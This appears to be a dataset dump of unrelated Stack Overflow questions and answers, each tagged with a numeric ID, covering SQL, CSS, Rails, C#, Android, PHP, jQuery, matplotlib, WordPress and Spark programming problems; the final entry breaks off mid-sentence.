235534	0	 <p>This creates your typical hierarchical table and uses a CTE to select the hierarchy structure and create a path for each item.</p> <pre><code>CREATE TABLE tblHierarchy (ID int, ParentID int NULL, Name varchar(128)); INSERT INTO tblHierarchy VALUES (1, NULL, '1'); INSERT INTO tblHierarchy VALUES (2, NULL, '2'); INSERT INTO tblHierarchy VALUES (3, NULL, '3'); INSERT INTO tblHierarchy VALUES (4, 1, '1.1'); INSERT INTO tblHierarchy VALUES (5, 1, '1.2'); INSERT INTO tblHierarchy VALUES (6, 4, '1.1.1'); WITH Parent AS ( SELECT ID, ParentID, Name AS Path FROM tblHierarchy WHERE ParentID IS NULL UNION ALL SELECT TH.ID, TH.ParentID, CONVERT(varchar(128), Parent.Path + '/' + TH.Name) AS Path FROM tblHierarchy TH INNER JOIN Parent ON Parent.ID = TH.ParentID ) SELECT * FROM Parent </code></pre> <p>OUTPUT:</p> <pre><code>ID ParentID Path 1 NULL 1 2 NULL 2 3 NULL 3 4 1 1/1.1 5 1 1/1.2 6 4 1/1.1/1.1.1 </code></pre>
38237320	0	Header Troubles on my Website <p>Before I posted anyone question, and I got some criticism, so I'm trying to format a better question now. Yeah. So, I'm making a website, and I have a header for navigation. However, in CSS, I put the header with div class = "header" to color:black;. I don't know why the background isn't black and is not there. I made a jsfiddle. As you can see when you go on the jsfiddle , the header is non-existent, and when you scroll down, as you can see, the header is not white. Does anyone know how to make the header solid, or is there inconsistencies in the hierarchy?</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>.header { position:relative; top:-20px; left:0px; width:100%; background-color:#000000; border-left: 5px solid white; } .header ul li a { color: black; position: fixed; top: 13px; font-weight: bold; text-decoration: none; //background: #000000; } ul { list-style-type: none; } a#strawpoll { right: 215px; } a#previousblogs { right: 95px; } a#aboutme { right: 15px; } h1 { text-align: left; position: fixed; left: 10px; top: -10px; color: black; } body { position: relative; top: 60px; font-family: 'Raleway', sans-serif; background-image: //url('https://cms-images.idgesg.net/images/article/2015/11/black-100630491-orig.jpg'); background-size: cover; color: white; text-align: center; color: black; } a:link { color: black; text-decoration: none; } .header a:hover { text-decoration: underline; } a:visited { color: black; text-decoration: none; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;title&gt;My Blog&lt;/title&gt; &lt;meta charset="utf-8"/&gt; &lt;link rel="stylesheet" type="text/css" href="blog.css"&gt; &lt;link rel="icon" href="http://images4.fanpop.com/image/photos/22600000/Smiley-Face-smiley-faces-22608094-1000-1000.png"&gt; &lt;link href="https://fonts.googleapis.com/css?family=Raleway" rel="stylesheet"&gt; &lt;link type="text/css" rel="stylesheet" href="jquery.mmenu.css" /&gt; &lt;body&gt; &lt;div class="header"&gt; &lt;div class = "navbar"&gt; &lt;ul&gt; &lt;li&gt;&lt;a id = "strawpoll" href ="#"&gt; Strawpoll &lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a id = "previousblogs" href ="#"&gt; Previous Blogs &lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a id = "aboutme" href ="#"&gt; About Me &lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;script src="app.js"&gt;&lt;/script&gt; &lt;h1&gt;&lt;a href ="#"&gt;My Life&lt;/a&gt;&lt;/h1&gt; &lt;/div&gt; &lt;p&gt; texttext, yeah, I put this here to increase the page length, so that I can show you guys the header is not filled in. starting from here its all reandom stuff. &lt;p&gt; bopbopbopbopbopbopbob &lt;/p&gt; &lt;p&gt; bopbopbopbopbopbopbob &lt;/p&gt;&lt;p&gt; bopbopbopbopbopbopbob &lt;/p&gt;&lt;p&gt; bopbopbopbopbopbopbob &lt;/p&gt;&lt;p&gt; bopbopbopbopbopbopbob &lt;/p&gt;&lt;p&gt; bopbopbopbopbopbopbob &lt;/p&gt;&lt;p&gt; bopbopbopbopbopbopbob &lt;/p&gt;&lt;p&gt; bopbopbopbopbopbopbob &lt;/p&gt;&lt;p&gt; bopbopbopbopbopbopbob &lt;/p&gt;&lt;p&gt; bopbopbopbopbopbopbob &lt;p&gt; bopbopbopbopbopbopbob &lt;/p&gt;&lt;p&gt; bopbopbopbopbopbopbob &lt;/p&gt; &lt;/p&gt;&lt;p&gt; bopbopbopbopbopbopbob &lt;/p&gt; sapodksadksa daa &lt;/p&gt;</code></pre> </div> </div> </p> <p>Here is the <a href="https://jsfiddle.net/695y5wjg/3/" rel="nofollow">jsfiddle</a></p> <p>Add in the comments if I'm unclear. Hopefully I am.</p>
6145345	0	Complex ARel query <p>I've got a complicated query that I can't wrap my head around (using either sql or ActiveRecord) Here are my models:</p> <pre><code>class Contact has_many :profile_answers end class ProfileAnswer belongs_to :contact belongs_to :profile_question end class ProfileQuestion has_many :profile_answers end </code></pre> <p>I'm trying to find the number of ProfileAnswers for two contacts that have the same <code>value</code> for a particular ProfileQuestion. In other words:</p> <blockquote> <p>Get the total number of profile answers that two contacts have answered with the same value for a particular profile_question</p> </blockquote> <p>I don't want to make multiple queries and filter as I know this is possible with Sql only, i just don't know how to do it</p> <p>I had considered a self join of <code>profile_answers</code> on <code>profile_question_id</code> then filtering by <code>value</code> being equal, but i still can't wrap my head around that. Any help is greatly appreciated.</p>
3268493	0	 <p>When you build with the DLL version of the CRT (/MDd for example), errno is a macro. Translating it to a function call to obtain the shared value of errno. Fix it like this:</p> <pre><code>int err = errno; </code></pre> <p>so you can inspect the value of err.</p>
5032531	0	Why does casting the same two numbers to Object make them not equal? <p>I have following code snippet but I am getting wrong output.</p> <pre><code>class Program { static void Main(string[] args) { var i = 10000; var j = 10000; Console.WriteLine((object) i == (object) j); } } </code></pre> <p><strong>I was expecting true but I am getting false</strong></p>
34239560	0	 <p>Cygwin is not an isolated environment like for example a virtual machine inside VirtualBox. It works on the same filesystem as other Windows applications. Its files could be accessed through any file manager (e.g: Total Commander), and it can access any other file including your home folder in Windows.</p> <p>Only one thing makes confusion: cygwin uses UNIX-like paths but Windows uses DOS paths. There is a translation method to convert them vica-versa. <a href="https://www.cygwin.com/cygwin-ug-net/cygpath.html" rel="nofollow">cygpath</a> utility can do this translation automatically, but it could be done by head as well. Here is some example:</p> <pre><code>############################################# # converting to Windows path format: ############################################# $ cygpath --windows / C:\cygwin $ cygpath --windows /home C:\cygwin\home $ cygpath --windows /home/username C:\cygwin\home\username $ cygpath --windows /cygdrive/c C:\ ############################################# # converting to Cygwin (UNIX) path format: ############################################# $ cygpath --unix 'C:\Users\username' /cygdrive/c/Users/username $ cygpath --unix 'C:\Windows' /cygdrive/c/Windows $ cygpath --unix 'D:\Games' /cygdrive/d/Games </code></pre>
5735389	0	 <p>Logically, that copy/paste is exactly what happens. I'm afraid there isn't any more to it. You don't need the <code>;</code>, though.</p> <p>Your specific example is covered by the spec, section <strong>6.10.2 Source file inclusion</strong>, paragraph 3:</p> <blockquote> <p>A preprocessing directive of the form</p> <p><strong><code># include</code></strong> <code>"</code><em>q-char-sequence</em><code>"</code> <em>new-line</em></p> <p>causes the replacement of that directive by the entire contents of the source file identified by the specified sequence between the <code>"</code> delimiters.</p> </blockquote>
14790298	0	Set up access control to allow non-registered members to see intro text, but not full text <p>I need to set up ACL permissions on a web site I am developing such that guests can see the intro-text of an article, but cannot see the full-text unless they are registered.</p> <p>The site is using Joomla 3.0.</p> <p>How can I do that?</p>
11809582	0	 <p>In your Android app, you expect a JSONArray:</p> <pre><code>// store incoming stream in an array JSONArray jArray = new JSONArray(streamToString(instream)); </code></pre> <p>However, in your PHP file you only output multiple separate JSON objects instead of a real array. I think, you should collect all items from the database in an PHP array first and then encode and output it only once.</p> <p>My PHP skills are a bit rusted, but I hope this one will work:</p> <pre><code>//store # of rows returned $num_rows = mysql_num_rows($query); if ($num_rows &gt;= 1) { $output = array(); while($results = mysql_fetch_assoc($query)) { // append row to output $output[] = results } mysql_close(); // shouldn't that be outside the if block? //encode the returned data in JSON format echo json_encode($output); } </code></pre> <p>I would expect the output then to be like this (maybe without indentation):</p> <pre><code>[ {"nid":"1","vid":"1","type":"goal","language":"","title":"test","uid":"1","status":"1","created":"1342894493","changed":"1342894493","comment":"2","promote":"1","moderate":"0","sticky":"1","tnid":"0","translate":"0"}, {"nid":"2","vid":"2","type":"goal","language":"","title":"test2","uid":"1","status":"1","created":"1342894529","changed":"1342894529","comment":"2","promote":"1","moderate":"0","sticky":"1","tnid":"0","translate":"0"}, {"nid":"5","vid":"5","type":"goal","language":"","title":"run","uid":"1","status":"1","created":"1343506987","changed":"1343506987","comment":"2","promote":"1","moderate":"0","sticky":"1","tnid":"0","translate":"0"}, {"nid":"9","vid":"9","type":"goal","language":"","title":"run to the hills","uid":"1","status":"1","created":"1343604338","changed":"1343605100","comment":"2","promote":"0","moderate":"0","sticky":"0","tnid":"0","translate":"0"} ] </code></pre>
29279147	0	 <p>I would probably choose not to do it this way, but a deferred/promise can indeed be used as a queuing device.</p> <p>You need a slight(?) variation of what you already tried.</p> <pre><code>self.queue = $.when();//A resolved promise, used to form a queue of functions in a .then() chain. self.save = function(data) { var dfrd = $.Deferred();//A Deferred dedicated to this particular save. self.queue = self.queue.then(function() { return $.post("/example_save_endpoint", data) //Make the AJAX call, and return a jqXHR to ensure the downstream queue waits for this jqXHR to resolve/reject. .then(dfrd.resolve, dfrd.reject) //Resolve/reject the Deferred for the caller's benefit .then(null, function() { //Force failure down the success path to ensure the queue is not killed by an AJAX failure. return $.when();//Return a resolved promsie, for the queue's benefit. }); }); return dfrd.promise();//allow the caller to do something when the AJAX eventually responds } </code></pre> <p><em>For explanation, see comments in code</em></p>
36190743	0	 <p>RecyclerView setLayoutManager expects RecyclerView.LayoutManager type as input so change</p> <pre><code>final LinearLayoutManager layoutManager = new LinearLayoutManager(this); </code></pre> <p>with</p> <pre><code>final RecyclerView.LayoutManager layoutManager = new LinearLayoutManager(this); </code></pre> <p>and remove </p> <pre><code>layoutManager.setOrientation(LinearLayoutManager.VERTICAL); layoutManager.generateDefaultLayoutParams(); </code></pre> <p>take a look at developer page for proper usage <a href="http://developer.android.com/training/material/lists-cards.html" rel="nofollow">http://developer.android.com/training/material/lists-cards.html</a></p>
38716459	0	Make a variable unusable/unaccessible in scope halfway <p>Let's say I have this code:</p> <pre><code>for (int i = 0; i &lt; x.size(); i++) { auto &amp;in = input[i]; auto &amp;func = functions[i]; auto &amp;out = output[i]; // pseudo-code from here: unaccessiable(i); i = func(in); // error, i is not declared out = func(i); // error, i is not declared // useful when you mistake in/out for i } </code></pre> <p>I need to achieve effect that a variable is not accessible or usable after a certain line in the code. (in this code, after the <code>unaccessiable(i)</code>) Specifically I want to disable the iterator of a for's loop.</p> <p>NOTE: This is only for code correctness, and nothing beyond that. So lambdas (non-compile-time solutions) are just performance hindering.</p>
11511701	0	Notify a User if Exception happens not in Activity class <p>My <code>Activity</code> holds a member <code>member_one</code> which holds another member <code>member_two</code> which can throw an <code>Exception</code>. I need to show user a <code>Toast</code> if this <code>Exception</code> happens. In order to show a <code>Toast</code> I need to throw <code>Exception</code> from <code>member_tow</code> to <code>member_one</code> and then from <code>member_one</code> to my <code>Activity</code>. This approach leads to big changes and I don't want to do so. May be I just think wrong, is there any easy way to handle the exception?</p>
2493329	0	 <p>Regression Testing. Partly automated, partly manual, depending on the tools, time and money.</p> <p>Normally you should different levels of testing, and even though as software developers we would like to automate everything, some things have to be verified by hand, by having a collection of test cases executed by testers.</p> <p><a href="http://en.wikipedia.org/wiki/Regression_testing" rel="nofollow noreferrer">The Wikipedia article on regression testing is a good read</a>.</p> <p>From the whole collection of tests that most be checked by hand, it is normally worthwhile to select the minimum set that guarantee the functionality of the system to reduce costs. The balance, of course, is a fine one and depends a lot on how much the code was actually changed. Good modularization of the software product helps a lot on having good regression testing.</p>
23266215	0	 <p>The solutions depends on the level of interaction you want that "toggle" to happen.</p> <p>If you want to achieve this toggle for every user on its own, you're good to go with sessions.</p> <p>If you want to have the toggle application-wide (every user toggles one single value) you'll have to use any kind of persistence layer (e.g. a database, a file) to store the current state of you <code>$i</code> value in it.</p>
39947263	0	 <p>You should use a framework to help you, as well as possibly use a template that is built with these frameworks. </p> <p><a href="http://materializecss.com/" rel="nofollow">http://materializecss.com/</a></p> <p><a href="https://templateflip.com/material-design-html5-templates-free-download/" rel="nofollow">https://templateflip.com/material-design-html5-templates-free-download/</a></p> <p>You will learn a lot!</p>
11809636	0	 <p>You have an empty string for an <code>href</code> on the overview link. So, it's attempting to "follow" to that <code>href</code>, which obviously doesn't exist.</p>
31696229	0	Required Appropriate query to find out the result <p>I need a desired result with the less number of execution time. I have a table which contains many rows (over 100k) , in this table a field name is notes varchar2(1800). It contains following values:</p> <pre><code>notes CASE Transfer Surnames AAA : BBBB Case Status ACCOUNT TXFERRED TO BORROWERS Completed Date 25/09/2022 Task Group 16 Message sent at 12/10/2012 11:11:21 Sender : lynxfailures123@google.com Recipient : LFRB568767@yahoo.com Received : 21:31 12/12/2002 </code></pre> <p>Rows should return with the values of(ACCOUNT TXFERRED TO BORROWERS).</p> <p>I have used the following queries but it takes a long time(72150436 sec) to execute:</p> <ol> <li><p><code>Select * from cps_case_history where (dbms_lob.instr(notes, 'ACCOUNT TFR TO UFSS') &gt; 1)</code></p></li> <li><p><code>Select * from cps_case_history where notes like '%ACCOUNT TFR TO UFSS%'</code></p></li> </ol> <p>Could you please share us the exact query which will take less time to execute.</p>
4780462	0	MVVM and SettingsBase <p>Hi i'm currently implement MVVM in a WPF app i'm developing. I implemented the ViewModel and the Views by using 2 separate projects. Only the View is referencing from the ViewModel. However, i've come to a point where i need the information in the Settings class(auto generated by Visual Studio using the Settings dialogue in the Project's Properties) to the ViewModel. How do i do that since ViewModel shouldn't reference the View's classes and also Settings class has a internal modifier. </p> <p>need your suggestions on this one...i'm using mvvm-light which has the Locator pattern..</p> <p>thanks</p>
34576192	0	Find similar folder names recursively in bash <p>How could I find similar folder names recursively in bash command line? </p> <p>I don't know specific name, I want all similar folders grouped by similarity. In other words, I need the bash to search each one by all folder names.</p> <p>I use bash in OS X terminal.</p> <p>Similar folder means: folders which have at least one same word. For example, below folder names:</p> <p>"Example"</p> <p>"John Example"</p> <p>"Example (200)"</p> <p>"12 Example"</p>
9775020	0	Black lines missing in the box holding the axes of a MATLAB plot <p>When plotting on a figure in MATLAB, I have noticed that parts of the black box that holds the axes are missing (the left and bottom one):</p> <p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <img src="https://i.stack.imgur.com/mNHJj.png" alt="enter image description here"></p> <p>I have tried issuing:</p> <pre><code>box off box on </code></pre> <p>commands with no success. Do you know what I can do to get the corresponding black lines on the axes?</p> <h2>Note:</h2> <p>I am using the OpenGL renderer:</p> <pre><code>set(0,'DefaultFigureRenderer','opengl'); </code></pre>
39938019	0	 <p>This technique is usually used for multiple axis in a figure. In this context it is often required to have a colorbar <strong>that corresponds in size with the result from imshow.</strong> This can be achieved easily with the <a href="http://matplotlib.org/1.4.3/mpl_toolkits/axes_grid/index.html" rel="nofollow noreferrer">axes grid</a> tool kit:</p> <pre><code>import numpy as np import matplotlib.pyplot as plt from mpl_toolkits.axes_grid1 import make_axes_locatable data = np.arange(100, 0, -1).reshape(10, 10) fig, ax = plt.subplots() divider = make_axes_locatable(ax) cax = divider.append_axes('right', size='5%', pad=0.05) im = ax.imshow(data, cmap='bone') fig.colorbar(im, cax=cax, orientation='vertical') plt.show() </code></pre> <p><a href="https://i.stack.imgur.com/Ec3b9.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Ec3b9.png" alt="Image with proper colorbar in size"></a></p>
26776278	0	 <p>If you want you can just focus using jquery</p> <pre><code>$('#insertform input').first().focus(); </code></pre>
15437939	0	 <p>Your string has backslashes which are read in Python as escape codes. These are when a character preceded by a backslash is changed into a special character. For example, <code>\n</code> is a newline. You will need to either escape them (with another backslash) or just use a raw string.</p> <pre><code>r'C:\Software\api\render\3bit\sim&gt;' </code></pre>
4882084	0	 <pre><code>Answer.update_all(["user_id = ?", @user.id], ["answered_by = ? and user_id == ?", @user.email, 0]) </code></pre>
38072830	1	ImportError: No module named Npp when using Python plugins for Notepad++, <p>while writing a Python-based script in Notepad++, which converts the encoding for a large number of CSV files, I encountered a hiccup early in the entire process - I am always returned the following error</p> <p><strong>ImportError: No module named Npp</strong></p> <p>This occurs when I use the <strong>Execute</strong> (F6) command in NppExec &amp; <strong>Run File in Python Interactive</strong> command in PyNPP. I already set the Run, Execute &amp; other commands to be -</p> <p><em>cd C:\Python27 python "C:\Users\XYZ\AppData\Roaming\Notepad++\plugins\config\PythonScript\scripts\fin.py"</em></p> <p>Further, when I click by the following process, Plugins > Python Script > Scripts > fin, nothing happens at all. Would really appreciate any help I get on this matter! Thanks in advance.</p>
30383240	0	How to rename list of Excel sheets with a list of names <p>I need to create profiles for a large list of clients. Each client has an ID number and I need to create a sheet in a workbook for each client, with the ID number for each client as the name for their respective sheets. I also have a sheet template that I would rather use to help create profiles in a uniform and professional manner. My question is: is there a way I can create a copy of the template for each of my clients and rename them with each of the ID's on my list, all at once?</p>
3915637	0	 <p>Do yourself a favour and buy another 2Gb RAM. I'm running the 32 bit kernel (i.e. the smaller one) right now on my MBP and the kernel itself has 800Mb RAM wired. For you that would leave 1.2Gb in total for everything else. That's not enough. Believe me, if you buy the extra RAM, not only will your Java process be better, but <em>everything</em> will seem much snappier.</p>
35725481	0	Display custom taxonomy in DESC within the original loop <p>I have a problem. I would like the have the posts of this loop show in descending order. But for a plugin I have to stick to the original loop. So I can't use new WP_Query or query_posts because this overrides the original loop.</p> <p>This is my loop.</p> <pre><code>&lt;div id="main-filter"&gt; &lt;!-- Start the Loop. --&gt; &lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&gt; &lt;!-- Test if the current post is in category 3. --&gt; &lt;!-- If it is, the div box is given the CSS class "post-cat-three". --&gt; &lt;!-- Otherwise, the div box is given the CSS class "post". --&gt; &lt;?php if ( in_category( '3' ) ) : ?&gt; &lt;div class="post-cat-three"&gt; &lt;?php else : ?&gt; &lt;div class="post post-item"&gt; &lt;?php endif; ?&gt; &lt;!-- Display the Title as a link to the Post's permalink. --&gt; &lt;div class="ref-wrap"&gt; &lt;div class="col-sm-2 thumb-mobile"&gt; &lt;?php the_post_thumbnail(array(200,200)); // Declare pixel size you need inside the array ?&gt; &lt;/div&gt; &lt;div class="col-sm-10"&gt; &lt;div class="entry"&gt; &lt;?php $bedrijf = get_field('naam_bedrijf'); ?&gt; &lt;?php $feest = get_field('feest'); ?&gt; &lt;?php $geschreven = get_field('geschreven_door'); ?&gt; &lt;?php $datum = get_field('datum_referentie'); ?&gt; &lt;?php $tekst = get_field('volledige_tekst'); ?&gt; &lt;?php $link = get_field('mylink'); ?&gt; &lt;?php echo '&lt;p&gt;Bedrijfsnaam: ' . $bedrijf . '&lt;/p&gt;'; ?&gt; &lt;?php $post_object = get_field('mylink'); if( $post_object ): $post = $post_object; setup_postdata( $post ); ?&gt; &lt;p&gt;Feest type: &lt;a style="color:#ff6600" href="&lt;?php the_permalink(); ?&gt;"&gt;&lt;?php the_title(); ?&gt;&lt;/a&gt;&lt;/p&gt; &lt;?php wp_reset_postdata(); // IMPORTANT - reset the $post object so the rest of the page works correctly ?&gt; &lt;?php endif; ?&gt; &lt;?php echo '&lt;p&gt;Naam: ' . $geschreven . '&lt;/p&gt;'; ?&gt; &lt;?php echo '&lt;p&gt;Datum: ' . $datum . '&lt;/p&gt;'; ?&gt; &lt;?php echo '&lt;p class="mobile-j"&gt;' . $tekst . '&lt;/p&gt;'; ?&gt; &lt;?php echo '&lt;p&gt;' . wp_review_show_total() . '&lt;/p&gt;'; ?&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div style="clear:both;"&gt;&lt;/div&gt; &lt;!-- Display a comma separated list of the Post's Categories. --&gt; &lt;/div&gt; &lt;!-- closes the first div box --&gt; &lt;!-- Stop The Loop (but note the "else:" - see next line). --&gt; &lt;?php endwhile; else : ?&gt; &lt;!-- The very first "if" tested to see if there were any Posts to --&gt; &lt;!-- display. This "else" part tells what do if there weren't any. --&gt; &lt;p&gt;&lt;?php _e( 'Sorry, no posts matched your criteria.' ); ?&gt;&lt;/p&gt; &lt;!-- REALLY stop The Loop. --&gt; &lt;?php endif; ?&gt; &lt;?php wp_pagenavi(); ?&gt; &lt;/div&gt; </code></pre> <p>Is there anyway I can order this loop in DESC?</p> <p>** Little edit: I don't know if this matters but this is the custom taxonomy: referentie_type</p>
29501967	0	 <p>You forgot to put the <code>END</code> delimiter</p> <pre><code>DELIMITER @ CREATE EVENT update_stats ON SCHEDULE EVERY 15 MINUTE ON COMPLETION PRESERVE ENABLE DO BEGIN UPDATE stats JOIN temp_stats ON stats.unique_key = temp_stats.unique_key SET stats.clicks = stats.clicks + temp_stats.clicks; TRUNCATE temp_stats; END@ DELIMITER ; </code></pre>
394146	0	Displaying polymorphic classes <p>I have an existing app with a command-line interface that I'm adding a GUI to. One situation that often comes up is that I have a list of objects that inherit from one class, and need to be displayed in a list, but each subclass has a slightly different way of being displayed.</p> <p>Not wanting to have giant switch statements everywhere using reflection/RTTI to do the displaying, each class knows how to return its own summary string which then gets displayed in the list:</p> <pre><code>int position = 0; for (vector&lt;DisplayableObject&gt;::const_iterator iDisp = listToDisplay.begin(); iDisp != listToDisplay.end(); ++iDisp) cout &lt;&lt; ++position &lt;&lt; ". " &lt;&lt; iDisp-&gt;GetSummary(); </code></pre> <p>Similar functions are there to display different information in different contexts. This was all fine and good until we needed to add a GUI. A string is no longer sufficient - I need to create graphical controls.</p> <p>I don't want to have to modify every single class to be able to display it in a GUI - especially since there is at least one more GUI platform we will want to move this to.</p> <p>Is there some kind of technique I can use to separate this GUI code out of the data objects without resorting to RTTI and switch statements? It would be nice to be able to take out the GetSummary functions as well.</p> <p>Ideally I'd be able to have a heierarchy of display classes that could take a data class and display it based on the runtime type instead of the compile time type:</p> <pre><code>shared_ptr&lt;Displayer&gt; displayer = new ConsoleDisplayer(); // or new GUIDisplayer() for (vector&lt;DisplayableObject&gt;::const_iterator iDisp = listToDisplay.begin(); iDisp != listToDisplay.end(); ++iDisp) displayer-&gt;Display(*iDisp); </code></pre>
39959947	0	Count truthy objects in an array <p>I'd like to count truthy objects in an array. Since I can pass a block to count, the most idiomatic way I found was this:</p> <pre><code>[1, nil, 'foo', false, true].count{ |i| i } =&gt; 3 </code></pre> <p>But I was wondering if there was a better way, especially using the syntax <code>count(&amp;:something)</code>, because passing a full block here looks like overkill to me.</p> <p>AFAIK, there is no <code>truthy?</code> method in Ruby, so I couldn't find how to achieve this.</p>
10159652	0	default argument function signature change <p>I have a function whose current signature is f(a,b=0). I want to add another argument c. I want my function in such a way so that I can call f(a,b) which is currently the behavior and f(a,c). One way is to overload the function and duplicate the function code. I do not want to call f(a,b) from f(a,c). I am working in C++.</p> <p>Is there any standard design pattern or a solution which can avoid this code duplication ?</p>
20040647	0	Android Widget Programming <p>I have 4 different types of widgets in my app. For each of the widget type, I have a Class derived from AppWidgetProvider and a service which handles the periodic update to the widget.</p> <p>Now I have to create different sizes widget for each type. If I keep 3 sizes for each widget, do I have to create 12 classes / services ? Is there a better way ?</p> <p>Any help / link to sample is welcome thanks in advance</p>
28228735	0	Launching activity from shortcut always launches main activity also <p>I have built an app which changes the users wallpaper. I wish to add an Android shortcut so a user can change their wallpaper without having to fully open the app (the main use case is to tie it to a gesture in something like Nova Launcher, which allows you to select a shortcut for each gesture).</p> <p>I have it all working, with one massive issue. Every time the shortcut is fired, my custom action occurs, but then the main launch activity ALSO launches! This is obviously not desired, and I cannot figure out what is going on.</p> <p>Here is the ShortcutActivity code: </p> <pre><code>public class ShortcutActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); final Intent intent = getIntent(); final String action = intent.getAction(); if (Intent.ACTION_CREATE_SHORTCUT.equals(action)) { setupShortcut(); finish(); return; } else { Toast.makeText(this, "Do something interesting.", Toast.LENGTH_SHORT).show(); finish(); } } void setupShortcut() { Intent shortcutIntent = new Intent("CHANGE"); shortcutIntent.setClass(this, getClass()); Intent intent = new Intent(); intent.putExtra(Intent.EXTRA_SHORTCUT_NAME, getString(R.string.shortcut_title)); intent.putExtra(Intent.EXTRA_SHORTCUT_INTENT, shortcutIntent); Parcelable iconResource = Intent.ShortcutIconResource.fromContext(this, R.drawable.ic_launcher); intent.putExtra(Intent.EXTRA_SHORTCUT_ICON_RESOURCE, iconResource); setResult(RESULT_OK, intent); } } </code></pre> <p>Here is my (simplified) manifest:</p> <pre><code>&lt;application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/title_activity" android:theme="@style/AppTheme"&gt; &lt;activity android:name=".WallpaperSettings" android:label="@string/title_activity_wallpaper_settings"&gt; &lt;intent-filter&gt; &lt;action android:name="android.intent.action.MAIN" /&gt; &lt;category android:name="android.intent.category.LAUNCHER" /&gt; &lt;/intent-filter&gt; &lt;/activity&gt; &lt;activity android:name=".ShortcutActivity" android:theme="@android:style/Theme.NoDisplay" android:label="@string/shortcut_title"&gt; &lt;intent-filter&gt; &lt;action android:name="android.intent.action.CREATE_SHORTCUT" /&gt; &lt;category android:name="android.intent.category.DEFAULT" /&gt; &lt;/intent-filter&gt; &lt;/activity&gt; &lt;/application&gt; </code></pre> <p>Is this even possible to do without trigger the main launcher activity?</p>
18834610	0	 <p>As @zapl mentioned, only 4 to 5 times slower is about what you should expect in the first place. However, there are things to optimize:</p> <ol> <li><p>You could benchmark the 'pain' loop codeblock, and rewrite than in NEON. NEON <strong>intrinsics</strong> should be about 2-4 times faster than unoptimized c/c++ code. NEON <strong>assembly</strong> is often faster than <strong>intrinsics</strong>, but harder to write.</p></li> <li><p>Use the latest GCC 4.7 and enable GCC's 'loop unroll' and 'loop vectorization' (not 100% sure GCC does implement loop vectorization for the ARM platform).</p></li> <li><p>Use multi-threading (C++11). Almost all mobile processors have multiple cores. Running on four cores is about 2-3.5 times faster than running on a single core.</p></li> <li><p>Help the CPU's branch predictor make better judgement on what to process next, by moving if-statements outside of loops. </p></li> </ol> <p>For example:</p> <pre><code>for(int i = 0; i &lt; total; i++) { if (i &lt; middle) // first part else // second part } </code></pre> <p>Replace by:</p> <pre><code>for(int i = 0; i &lt; middle; i++) // first part for(int i = middle; i &lt; total; i++) // second part </code></pre>
39732169	0	 <p>Does the compiler really let you assign <code>object</code> to <code>Customer</code> without a cast? </p> <p>Anyway, <code>DataContext</code> won't be initialized yet in the constructor. </p> <p>You could handle the <code>DataContextChanged</code> event, which will be raised whenever <code>DataContext</code> changes -- in this case, that'll probably just be when it's assigned in the course of instantiating the <code>DataTemplate</code> that creates <code>MyUserControl</code>. And that's just what you want. </p> <p>XAML</p> <pre><code>&lt;UserControl ... DataContextChanged="MyUserControl_DataContextChanged" ... </code></pre> <p>C#</p> <pre><code>private Customer _customer; void MyUserControl_DataContextChanged(object sender, DependencyPropertyChangedEventArgs e) { _customer = (Customer)DataContext; } </code></pre> <p>Or you could just cast <code>DataContext</code> to <code>Customer</code> whenever you need to use it. Check for <code>null</code>, of course. You didn't say what you're doing with <code>Customer</code> so it's hard to be sure when you would need to do something with it. </p>
40248292	0	 <p>Try the appropriately named <code>array_reverse</code> function!</p> <pre><code>&lt;?php if(function_exists('fetch_feed')) { include_once(ABSPATH . WPINC . '/feed.php'); // include the required file $feed = fetch_feed('http://sample.com.au/events/feed/'); // specify the source feed $limit = $feed-&gt;get_item_quantity(25); // specify number of items $items = $feed-&gt;get_items(0, $limit); // create an array of items $semti = array_reverse($items); // &amp; flip it } if ($limit == 0) echo '&lt;div&gt;The feed is unavailable.&lt;/div&gt;'; else foreach ($semti as $item) : ?&gt; &lt;p&gt;&lt;b&gt;&lt;a href="&lt;?php echo esc_url( $item-&gt;get_permalink() ); ?&gt;" target="_blank"&gt; &lt;?php echo esc_html( $item-&gt;get_title() ); ?&gt;&lt;/a&gt;&lt;/b&gt; &lt;?php echo esc_html( $item-&gt;get_date('| j F | g:i a') ); ?&gt;&lt;br&gt; &lt;?php echo sanitize_text_field( $item-&gt;get_content() ); ?&gt; &lt;/p&gt; &lt;?php endforeach; ?&gt; </code></pre> <p><a href="http://php.net/manual/en/function.array-reverse.php" rel="nofollow">From PHP.net</a>:</p> <blockquote> <h3>array_reverse</h3> <p>Return an array with elements in reverse order</p> <p><code>array array_reverse ( array $array [, bool $preserve_keys = false ] )</code></p> <p>Takes an input array and returns a new array with the order of the elements reversed.</p> </blockquote>
18307197	0	 <p>Actually, I made it to solve the problem. Whoever uses backbone, node.js, and require.js, remember to include jquery and jquery UI as libraries with require, and when creating dynamic elements with backbone such as:</p> <pre><code>$('#content').append(html); inside backbone call jquery UI $('.drag').draggable(); </code></pre>
30947492	0	 <p>I totally agree with @Holden on that! </p> <p>Mocking RDDS is difficult; executing your unit tests in a local Spark context is preferred, as recommended in the <a href="http://spark.apache.org/docs/latest/programming-guide.html#unit-testing">programming guide</a>.</p> <p>I know this may not technically be a unit test, but it is hopefully close enough. </p> <blockquote> <p><strong>Unit Testing</strong></p> <p>Spark is friendly to unit testing with any popular unit test framework. Simply create a SparkContext in your test with the master URL set to local, run your operations, and then call SparkContext.stop() to tear it down. Make sure you stop the context within a finally block or the test framework’s tearDown method, as Spark does not support two contexts running concurrently in the same program.</p> </blockquote> <p>But if you are really interested and you still want to try mocking RDDs, I'll suggest that you read the <a href="https://github.com/apache/spark/blob/3c0156899dc1ec1f7dfe6d7c8af47fa6dc7d00bf/core/src/test/scala/org/apache/sparktest/ImplicitSuite.scala">ImplicitSuite</a> test code.</p> <p>The only reason they are pseudo-mocking the RDD is to test if 